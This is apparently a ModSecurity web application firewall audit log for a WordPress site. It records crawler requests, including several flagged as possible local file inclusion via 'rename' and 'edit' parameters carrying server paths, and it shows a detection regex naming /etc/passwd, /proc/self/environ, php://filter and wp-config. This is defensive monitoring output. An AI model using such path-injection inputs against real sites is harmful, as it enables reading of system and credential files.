{"transaction":{"time":"13/Mar/2026:01:24:32.812181 +0100","transaction_id":"abNZQAPfUmAczd2QoGW8KAAAAAM","remote_address":"57.141.20.15","remote_port":45848,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/usr/share/ghostscript/10.05.1/lib/bj8pp12f.upp HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.15","X-Forwarded-Proto":"https","X-Request-Id":"2df9a3a35565bbe4e9f68dee71f6e7ab","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"27890831"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"2df9a3a35565bbe4e9f68dee71f6e7ab","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/ghostscript/10.05.1/lib/bj8pp12f.upp||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":340,"p2":7648,"p3":0,"p4":0,"p5":392,"sr":219,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:24:32.869625 +0100","transaction_id":"abNZQAhXxndD9xDx47xGPQAAAEs","remote_address":"57.141.20.50","remote_port":56568,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?rename=/usr/base/var/lib/mibs/iana/IANA-IPPM-METRICS-REGISTRY-MIB HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.50","X-Forwarded-Proto":"https","X-Request-Id":"60662817fcc77eae10c8fbee59b245e3","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"1895622"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"60662817fcc77eae10c8fbee59b245e3","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/var/lib/mibs/iana/IANA-IPPM-METRICS-REGISTRY-MIB||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":312,"p2":7396,"p3":0,"p4":0,"p5":548,"sr":157,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:24:33.491673 +0100","transaction_id":"abNZQAPfUmAczd2QoGW8KwAAAAM","remote_address":"57.141.20.45","remote_port":45848,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/87/076268161f14e86a45a21627716314c0761dd2 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.45","X-Forwarded-Proto":"https","X-Request-Id":"17ddd6121ebcd5cc7b13cf777d5bd416","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"31654257"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"17ddd6121ebcd5cc7b13cf777d5bd416","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/harvest/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/87/076268161f14e86a45a21627716314c0761dd2||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":352,"p2":6376,"p3":0,"p4":0,"p5":405,"sr":164,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:24:51.626576 +0100","transaction_id":"abNZUwhXxndD9xDx47xGZgAAAFU","remote_address":"65.109.118.212","remote_port":45828,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"4d4ab30fc1f09f4f8ef4a27833166419","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"30477353","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"4d4ab30fc1f09f4f8ef4a27833166419","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":245,"p2":5105,"p3":0,"p4":0,"p5":289,"sr":116,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:26:52.406688 +0100","transaction_id":"abNZzKNDElJSaUY9M9Ge9wAAANU","remote_address":"65.109.118.212","remote_port":58724,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"188804bce25720508fa4078abc8479b9","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10794375","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"188804bce25720508fa4078abc8479b9","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":157,"p2":3098,"p3":0,"p4":0,"p5":265,"sr":91,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:28:48.420573 +0100","transaction_id":"abNaQH6c0W8rkQnlo8I8dwAAAcg","remote_address":"57.141.20.15","remote_port":55232,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/advanced-gutenberg/advanced-gutenberg.3.6.0.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.15","X-Forwarded-Proto":"https","X-Request-Id":"c9404a6a2cebf12d5bfbf001256e1aa6","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"28967976"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"c9404a6a2cebf12d5bfbf001256e1aa6","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/advanced-gutenberg/advanced-gutenberg.3.6.0.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":339,"p2":5314,"p3":0,"p4":0,"p5":344,"sr":125,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:28:53.346167 +0100","transaction_id":"abNaRH6c0W8rkQnlo8I8hgAAAdU","remote_address":"65.109.118.212","remote_port":37150,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"ffd1c7b770aed55c76f564b56668d9c7","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"24101582","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"ffd1c7b770aed55c76f564b56668d9c7","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":250,"p2":3745,"p3":0,"p4":0,"p5":337,"sr":110,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:30:15.714430 +0100","transaction_id":"abNal1WNXJO_mmQISINEcgAAAU8","remote_address":"114.119.142.37","remote_port":35368,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/92847551 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.142.37","X-Forwarded-Proto":"http","X-Request-Id":"6ffc9754189a0b45ef13bc4e53617da3","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"28775072","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","Upgrade":"h2,h2c","Connection":"Upgrade, close","X-Orig-Rid":"6ffc9754189a0b45ef13bc4e53617da3","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":395,"p2":6824,"p3":0,"p4":0,"p5":387,"sr":558,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:30:54.401801 +0100","transaction_id":"abNavn6c0W8rkQnlo8I9AgAAAdQ","remote_address":"57.141.20.52","remote_port":56782,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/email-notification-on-login/email-notification-on-login.1.6.1.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.52","X-Forwarded-Proto":"https","X-Request-Id":"bf935c742aeb90e4f83e738d7522b7b7","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"24101729"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"bf935c742aeb90e4f83e738d7522b7b7","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/email-notification-on-login/email-notification-on-login.1.6.1.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":212,"p2":5093,"p3":0,"p4":0,"p5":331,"sr":112,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:32:56.487783 +0100","transaction_id":"abNbOPGByT275eeM2Zk1HwAAARY","remote_address":"65.109.118.212","remote_port":42974,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"94b47c3854130f9c32ddab304a6a73fe","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"27793687","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Upgrade":"h2,h2c","Connection":"Upgrade","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"94b47c3854130f9c32ddab304a6a73fe","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":255,"p2":4863,"p3":0,"p4":0,"p5":614,"sr":148,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:33:14.487299 +0100","transaction_id":"abNbSn6c0W8rkQnlo8I-DgAAAcI","remote_address":"114.119.154.67","remote_port":55588,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/86725651 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.154.67","X-Forwarded-Proto":"http","X-Request-Id":"10dbdb9a0e43679a24d45adc0d3428e5","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"30641947","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"10dbdb9a0e43679a24d45adc0d3428e5","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":307,"p2":4943,"p3":0,"p4":0,"p5":301,"sr":150,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:34:59.434333 +0100","transaction_id":"abNbsvGYjQkrq8Uo_EwAAQAAAIA","remote_address":"65.109.118.212","remote_port":48014,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"ebba98d0f841377b224394577de1618a","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10794413","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"ebba98d0f841377b224394577de1618a","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag 